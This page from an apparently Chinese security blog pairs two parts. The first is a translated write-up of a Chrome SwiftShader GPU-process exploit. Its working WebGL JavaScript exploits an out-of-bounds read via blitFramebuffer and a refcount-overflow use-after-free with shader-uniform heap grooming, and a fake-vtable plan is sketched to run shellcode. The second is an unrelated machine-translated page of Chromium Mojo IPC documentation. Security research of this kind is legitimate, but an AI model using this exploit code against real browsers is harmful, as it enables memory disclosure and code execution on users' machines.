稍作调整后,我得到了下面的结果,该结果将在GPU进程中分配一个大小为0xb620000的纹理,当函数read()被调用时,它将直接在该缓冲区后面返回0×10000字节返回给javascript。
(分配将发生在标记的第一行,越界访问发生在第二行)。

function issue_1584(gl) {
 const src_width  = 0x2000;
 const src_height = 0x16c4;

 // we use a texture for the source, since this will be allocated directly
 // when we call glTexImage2D.

 this.src_fb = gl.createFramebuffer();
 gl.bindFramebuffer(gl.READ_FRAMEBUFFER, this.src_fb);

 let src_data = new Uint8Array(src_width * src_height * 4);
 for (var i = 0; i < src_data.length; ++i) {
   src_data[i] = 0x41;
 }

 let src_tex = gl.createTexture();
 gl.bindTexture(gl.TEXTURE_2D, src_tex);
【1】  gl.texImage2D(gl.TEXTURE_2D, 0, gl.RGBA8, src_width, src_height, 0, gl.RGBA, gl.UNSIGNED_BYTE, src_data);
 gl.texParameteri(gl.TEXTURE_2D, gl.TEXTURE_MIN_FILTER, gl.NEAREST);
 gl.texParameteri(gl.TEXTURE_2D, gl.TEXTURE_MAG_FILTER, gl.NEAREST);
 gl.framebufferTexture2D(gl.READ_FRAMEBUFFER, gl.COLOR_ATTACHMENT0, gl.TEXTURE_2D, src_tex, 0);

 this.read = function() {
   gl.bindFramebuffer(gl.READ_FRAMEBUFFER, this.src_fb);

   const dst_width  = 0x2000;
   const dst_height = 0x1fc4;

   dst_fb = gl.createFramebuffer();
   gl.bindFramebuffer(gl.DRAW_FRAMEBUFFER, dst_fb);

   let dst_rb = gl.createRenderbuffer();
   gl.bindRenderbuffer(gl.RENDERBUFFER, dst_rb);
   gl.renderbufferStorage(gl.RENDERBUFFER, gl.RGBA8, dst_width, dst_height);
   gl.framebufferRenderbuffer(gl.DRAW_FRAMEBUFFER, gl.COLOR_ATTACHMENT0, gl.RENDERBUFFER, dst_rb);

   gl.bindFramebuffer(gl.DRAW_FRAMEBUFFER, dst_fb);

   // trigger
【2】   gl.blitFramebuffer(0, 0, src_width, src_height,
                      0, 0, dst_width, dst_height,
                      gl.COLOR_BUFFER_BIT, gl.NEAREST);

   // copy the out of bounds data back to javascript
   var leak_data = new Uint8Array(dst_width * 8);
   gl.bindFramebuffer(gl.READ_FRAMEBUFFER, dst_fb);
   gl.readPixels(0, dst_height - 1, dst_width, 1, gl.RGBA, gl.UNSIGNED_BYTE, leak_data);
   return leak_data.buffer;
 }

 return this;
}

这看起来可能是一个非常粗糙的泄漏原语,但由于SWIFTShader使用的是系统堆,因此很容易安排直接在此分配之后的内存可以安全地访问。

还有第二个错误

现在,我们拥有的下一个漏洞是一个由引用计数溢出引起的 egl::ImageImplementation 对象的UAF 漏洞。
从利用的角度来看,这个对象是一个非常好的对象,因为从javascript中我们可以从它存储的数据中读写,所以似乎最好的利用方法是用一个损坏的版本替换这个对象;但是,由于它是一个c++对象,我们需要在GPU进程中打破ASLR来实现这一点。
如果您阅读的是利用漏洞攻击代码,则feng_shader.html中的函数leak_image实现了egl::ImageImplementation对象的粗略喷射,并使用上面的信息泄漏来查找要复制的对象。

所以——盘点一下:

我们刚刚释放了一个对象,并且我们确切地知道应该在该对象中的数据是什么样子的。
这看起来很简单——现在我们只需要找到一个允许我们替换它的原语就可以了!这实际上是该漏洞中最令人沮丧的部分。
由于OpenGL命令从WebGL传递到GPU进程时会发生多个级别的验证/复制(初始WebGL验证(在渲染器中)、GPU命令缓冲区接口、ANGLE验证),因此使用受控制的数据获得控制大小的单个分配是非常重要的!
我们期望有用的大多数分配数据(图像/纹理数据等)到最后有很多的大小限制或被四舍五入到不同的大小。

但是,有一个很好的原语做这个——shader uniforms。
这就是将参数传递给可编程GPU着色器的方式;如果我们查看SwiftShader代码,我们可以看到(最终)在分配这些参数时,它们将直接调用operator new[]。
我们可以从uniform存储的数据中读取和写入数据,因此这将为我们提供所需的原语。
下面的代码实现了SwiftShader/GPU进程中(非常基本的)堆修饰的这一技术,以及用于溢出引用计数的优化方法。
当链接程序对象时,Shader源代码(第一个标记的部分)将产生4次大小为0xf0的分配,第二个标记部分是原始对象将被释放并替换为Shader uniform对象的位置。

function issue_1585(gl, fake) {
 let vertex_shader = gl.createShader(gl.VERTEX_SHADER);
 gl.shaderSource(vertex_shader, `
【1】   attribute vec4 position;
【1】  uniform int block0[60];
【1】   uniform int block1[60];
【1】   uniform int block2[60];
【1】   uniform int block3[60];

【1】   void main() {
【1】     gl_Position = position;
【1】     gl_Position.x += float(block0[0]);
【1】     gl_Position.x += float(block1[0]);
【1】     gl_Position.x += float(block2[0]);
【1】     gl_Position.x += float(block3[0]);
【1】   }`);
 gl.compileShader(vertex_shader);

 let fragment_shader = gl.createShader(gl.FRAGMENT_SHADER);
 gl.shaderSource(fragment_shader, `
   void main() {
     gl_FragColor = vec4(0.0, 0.0, 0.0, 0.0);
   }`);
 gl.compileShader(fragment_shader);

 this.program = gl.createProgram();
 gl.attachShader(this.program, vertex_shader);
 gl.attachShader(this.program, fragment_shader);

 const uaf_width = 8190;
 const uaf_height = 8190;

 this.fb = gl.createFramebuffer();
 uaf_rb = gl.createRenderbuffer();

 gl.bindFramebuffer(gl.READ_FRAMEBUFFER, this.fb);
 gl.bindRenderbuffer(gl.RENDERBUFFER, uaf_rb);
 gl.renderbufferStorage(gl.RENDERBUFFER, gl.RGBA32UI, uaf_width, uaf_height);
 gl.framebufferRenderbuffer(gl.READ_FRAMEBUFFER, gl.COLOR_ATTACHMENT0, gl.RENDERBUFFER, uaf_rb);

 let tex = gl.createTexture();
 gl.bindTexture(gl.TEXTURE_CUBE_MAP, tex);
 // trigger
 for (i = 2; i < 0x10; ++i) {
   gl.copyTexImage2D(gl.TEXTURE_CUBE_MAP_POSITIVE_X, 0, gl.RGBA32UI, 0, 0, uaf_width, uaf_height, 0);
 }

 function unroll(gl) {
   gl.copyTexImage2D(gl.TEXTURE_CUBE_MAP_POSITIVE_X, 0, gl.RGBA32UI, 0, 0, uaf_width, uaf_height, 0);
   // snip ...
   gl.copyTexImage2D(gl.TEXTURE_CUBE_MAP_POSITIVE_X, 0, gl.RGBA32UI, 0, 0, uaf_width, uaf_height, 0);
 }

 for (i = 0x10; i < 0x100000000; i += 0x10) {
   unroll(gl);
 }

【2】 // the egl::ImageImplementation for the rendertarget of uaf_rb is now 0, so
【2】 // this call will free it, leaving a dangling reference
【2】 gl.copyTexImage2D(gl.TEXTURE_CUBE_MAP_POSITIVE_X, 0, gl.RGBA32UI, 0, 0, 256, 256, 0);

【2】 // replace the allocation with our shader uniform.
【2】 gl.linkProgram(this.program);
【2】 gl.useProgram(this.program);

 function wait(ms) {
   var start = Date.now(),
   now = start;
   while (now - start < ms) {
     now = Date.now();
   }
 }

 function read(uaf, index) {
   wait(200);
   var read_data = new Int32Array(60);
   for (var i = 0; i < 60; ++i) {
     read_data[i] = gl.getUniform(uaf.program, gl.getUniformLocation(uaf.program, 'block' + index.toString() + '[' + i.toString() + ']'));
   }
   return read_data.buffer;
 }

 function write(uaf, index, buffer) {
   gl.uniform1iv(gl.getUniformLocation(uaf.program, 'block' + index.toString()), new Int32Array(buffer));
   wait(200);
 }

 this.read = function() {
   return read(this, this.index);
 }

 this.write = function(buffer) {
   return write(this, this.index, buffer);
 }

 for (var i = 0; i < 4; ++i) {
   write(this, i, fake.buffer);
 }

 gl.readPixels(0, 0, 2, 2, gl.RGBA_INTEGER, gl.UNSIGNED_INT, new Uint32Array(2 * 2 * 16));
 for (var i = 0; i < 4; ++i) {
   data = new DataView(read(this, i));
   for (var j = 0; j < 0xf0; ++j) {
     if (fake.getUint8(j) != data.getUint8(j)) {
       log('uaf block index is ' + i.toString());
       this.index = i;
       return this;
     }
   }
 }
}

此时,我们可以修改对象,使我们能够从GPU进程的所有内存中进行读写;有关如何使用gl.readPixels和gl.blitFrameBuffer方法,请参见read_write函数。

现在,从这一点开始执行任意代码应该是相当简单的,尽管当您必须替换c++对象时,让您的ROP链很好地排列起来通常是一件痛苦的事情,但这是一个非常容易处理的问题。还有另一个诀窍可以使这种利用变得更加优雅。

SwiftShader 使用Shader 的JIT编译以获得尽可能高的性能,而JIT编译器使用另一个c++对象来处理加载生成的ELF可执行文件并将其映射到内存中。也许我们可以创建一个假对象,将egl::ImageImplementation对象用作SubzeroReactor::ELFMemoryStreamer (https://cs.chromium.org/chromium/src/third_party/swiftshader/src/Reactor/SubzeroReactor.cpp?rcl=fe79649598fb9bdf6d4567d58704e3a255dd5bb6&l=439) 对象,并让GPU进程为我们加载ELF文件作为负载,而不是自己摆弄?

所以,我们可以通过创建一个假的vtable,像这样:
egl::ImageImplementation::lockInternal -> egl::ImageImplementation::lockInternal
egl::ImageImplementation::unlockInternal -> ELFMemoryStreamer::getEntry
egl::ImageImplementation::release -> shellcode

然后,当我们从这个图像对象读取时,我们将在GPU进程中执行我们的shellcode,而不是将像素返回给javascript。

结论
有趣的是,我们可以在现代浏览器代码库的一些不太可能的地方直接发现javascript可访问的攻击面,当我们从侧面看事情时——避免了可能更明显和更有争议的领域,如主要的javascript JIT引擎。

许多代码库有很长的开发历史,在不同版本之间的兼容性和一致性方面也有许多权衡。有必要回顾一下其中的一些特性,看看在发布这些特性之后,最初的期望是否仍然有效,以及它们今天是否仍然有效,或者这些特性是否真的可以在不对用户产生重大影响的情况下被删除。

by blast

Chromium doc: Mojo



https://chromium.googlesource.com/chromium/src/+/master/mojo/README.md
机器翻译+人工简单润色。

从Mojo开始

要在已经支持Mojo的应用程序(如Chrome)中开始使用Mojo,最快的方法是查看您选择的语言(C++[1]、JavaScript[2]或Java[3])的绑定文档,以及MojomIDL和绑定生成器的文档[4]。
如果您正在查找有关创建和/或连接到服务的信息,请参阅顶级服务文档 [5]。
有关将旧的东西转换成新的东西的具体细节,请查看将传统ChromeIPC转换为Mojo的过程 [6]。

[1] https://chromium.googlesource.com/chromium/src/+/master/mojo/README.md#C_Bindings
[2] https://chromium.googlesource.com/chromium/src/+/master/mojo/README.md#JavaScript-Bindings
[3] https://chromium.googlesource.com/chromium/src/+/master/mojo/README.md#Java-Bindings
[4] https://chromium.googlesource.com/chromium/src/+/master/mojo/public/tools/bindings/README.md
[5] https://chromium.googlesource.com/chromium/src/+/master/services/README.md
[6] https://chromium.googlesource.com/chromium/src/+/master/ipc/README.md

系统概述
Mojo是运行时库的集合,提供了公共IPC原语的平台无关抽象、消息IDL格式和绑定库,其中包含针对多种目标语言的代码生成,以方便消息跨越任意进程间和进程内边界。

这里的文档是根据包含Mojo的不同库进行分割的。特征的基本层次如下:

(IMG)

Mojo库分层:底层为核心,顶部为语言绑定,中间为公共系统支持API

Mojo内核
为了使用任何更有趣的高级支持库,如系统API或绑定API,进程必须首先初始化Mojo Core。
进行一次初始化之后,在进程生命周期的剩余时间内一直处于活动状态。
初始化MojoCore有两种方法:通过EmbedderAPI,或者通过动态链接库。

嵌入
许多通过Mojo互连的进程都是嵌入程序,这意味着它们静态地链接到/mojo/core/Embedder目标,并通过调用mojo::core::init()来初始化每个进程中的Mojo支持。
有关更多细节,请参见Mojo CoreEmbedderAPI [1]。
这是一个合理的选择,因为您可以保证所有相互连接的进程二进制文件都链接到完全相同的MojoCore修订版上。
若要支持其他方案,请使用动态链接。

[1] https://chromium.googlesource.com/chromium/src/+/master/mojo/core/embedder/README.md

动态链接

在某些平台上,应用程序还可以依赖动态链接的Mojo Core库(libmojo_core.so或mojo_core.dll),而不是静态链接Mojo Core。
为了利用这一机制,相应的库必须存在于以下文件中:
* 应用程序的工作目录。
* 由mojo_core_Library_path环境变量命名的目录。
* 应用程序在运行时显式命名的目录。

使用动态Mojo Core的应用程序不像嵌入式程序那样调用mojo::core::init(),而是从C系统API调用MojoInitiize()。
此调用将尝试定位(参见上文)并加载一个MojoCore库,以支持进程中后续的MojoAPI使用。
请注意,Mojo Core共享库提供了一个稳定的、向前兼容的C ABI,它可以支持更高级别、公共(而非二进制稳定)系统和绑定API的所有当前和未来版本。

C++
C++ System API [1]提供了一层C+帮助器类和函数,使安全系统API的使用更容易:强类型句柄作用域、同步等待操作、系统句柄包装和展开帮助程序、公共句柄操作,以及更容易监视句柄状态更改的实用程序。
JavaScript
JavaScript System API [2]将Mojo原语公开给JavaScript,涵盖了低级CAPI的所有基本功能。
Java
Java System API [3]提供了用于处理Mojo原语的助手类,涵盖了低级CAPI的所有基本功能。

[1] https://chromium.googlesource.com/chromium/src/+/master/mojo/public/cpp/system/README.md
[2] https://chromium.googlesource.com/chromium/src/+/master/third_party/blink/renderer/core/mojo/README.md
[3] https://chromium.googlesource.com/chromium/src/+/master/mojo/public/java/system/README.md

高级绑定api
通常,开发人员不直接使用原始消息管道I/O,而是定义一些接口集,这些接口用于生成类似于所选择的目标语言的惯用方法调用接口的代码。这是绑定层。

Mojom IDL和绑定生成器
接口是使用MojomIDL [1]定义的,可以将其提供给绑定生成器[2],以生成各种受支持的语言中的代码。
生成的代码管理接口客户端和实现之间消息的序列化和反序列化,简化代码-并最终将消息管道隐藏在接口连接的两侧。

C++绑定
到目前为止,由Mojo定义的最常用的API,C++绑定API [3]公开了一组健壮的特性,用于通过生成的C+绑定代码与消息管道交互,包括对相关绑定端点集、关联接口、嵌套同步IPC、版本控制、坏消息报告、任意消息筛选器注入和方便的测试工具的支持。

[1] https://chromium.googlesource.com/chromium/src/+/master/mojo/public/tools/bindings/README.md
[2] https://chromium.googlesource.com/chromium/src/+/master/mojo/public/tools/bindings/README.md
[3] https://chromium.googlesource.com/chromium/src/+/master/mojo/public/cpp/bindings/README.md

JavaScript绑定。
JavaScript binding API [1]提供了帮助器类,用于处理由绑定生成器发出的JavaScript代码。

Java绑定。
Java Bindings API [2]提供了帮助器类,用于处理由绑定生成器发出的Java代码。
[1] https://chromium.googlesource.com/chromium/src/+/master/mojo/public/js/README.md
[2] https://chromium.googlesource.com/chromium/src/+/master/mojo/public/java/bindings/README.md

常见问题。
为什么不是protobuf或者其他的?
对于这个问题,可能有很多不错的答案,但最重要的是,一个有用的IPC机制必须支持跨越进程边界的本地对象句柄(例如,文件描述符)的传输。
其他支持此功能的非新IPC(例如d-bus)也有其自身的重大缺陷。

信息管道运行时代价很高吗?
不。作为实现细节,创建消息管道实质上是生成两个随机数,并将它们填充到一个哈希表中,以及一些很小的堆分配。

所以说真的,我能创造出成千上万个这样的东西吗?
是。没人会介意的。创造数以百万计的人,如果你愿意的话。(好吧,但也许不需要。)。

Mojo的性能特点是什么?
与Chrome中的旧IPC相比,进行Mojo调用大约要快1/3,使用的上下文切换也少1/3。完整的数据可在这里获得。 (https://docs.google.com/document/d/1n7qYjQ5iy8xAkQVMYGqjIy_AXu2_JJtMoAcOOupO_jQ/edit)

我可以使用进程内消息管道吗?
是的,而且消息管道的使用是相同的,不管管道是否真的跨越了进程边界-事实上,这个细节是有意模糊的。
不跨越进程边界的消息管道是高效的:发送的消息永远不会被复制,一端的写操作将同步地修改另一端的消息队列。
例如,当使用生成的C++绑定时,最终的结果是一个线程上的InterfacePtr向另一个线程上的绑定(甚至同一个线程)发送消息,实际上是一个PostTask到绑定的TaskRunner,同时增加了序列化、反序列化、验证和一些内部路由逻辑的开销(但通常很小)。

Saturday, November 17, 2018 by blast